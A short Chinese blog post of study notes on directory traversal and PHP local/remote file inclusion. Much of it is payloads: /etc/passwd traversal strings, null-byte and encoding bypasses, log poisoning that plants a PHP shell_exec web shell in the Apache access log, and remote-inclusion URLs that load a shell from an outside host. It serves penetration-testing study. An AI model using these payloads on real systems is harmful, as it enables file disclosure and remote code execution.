目录遍历

2017-12-16  本文已影响0人  __周__

Directory traversal / File include (有区别/没区别)

目录遍历/文件包含

目录遍历:漏洞利用的结果,使用者通过修改url的参数从而可以读取到WEB根目录以外的内容

根源:路径访问权限的设置不严格

文件包含:通过php的include将web目录以外的文件引入到网页中

通俗的来讲可以把文件目录遍历理解为本地文件包含,因为他们的现象以及漏洞验证方法都是一样

文件包含分为1.LFI(本地文件包含;www目录以外的系统文件);2.RFI(远程文件包含)

/etc/php5/cgi/php.ini

allow_url_include = on

重启apache

允许远程包含URL

特征但不绝对

?page=a.php

?home=b.html

?file=content

测试方法

本地文件包含:

?file=../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

远程文件包含:

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

编码绕过字符过滤

“.”      “%00”绕过文件扩展名过滤

?file=a.doc%00.php

使用多种编码尝试

不同操作系统的路径

类unix系统

根目录: /

目录层级分隔符: /  " /a/b/c/"

windows系统

C:\a\b\c

\   或   /

编码

url编码;多层url编码

%2e%2e%2f                      ../

%2e%2e%5c                    ..\

%252e%252e%255c        ../

Unicode/UTF-8

..%c0%af

..%u2216

..%c1%9

本地文件包含lfi

1.查看文件:

2.代码执行

当/var/log/apache/access.log目录可执行的情况下

用nc    1.1.1.1    80连接到80端口

<?php echo shell_exec($GET['cmd']);?>

插到access.log中

远程文件包含:

hthttp://tp://1.1.1.1/1.txt&cmd=ls

<?php echo shell_exec($_GET['cmd']);?>

/usr/share/wfuzz/wordlist/injections/traversal.txt

上一篇下一篇

猜你喜欢

热点阅读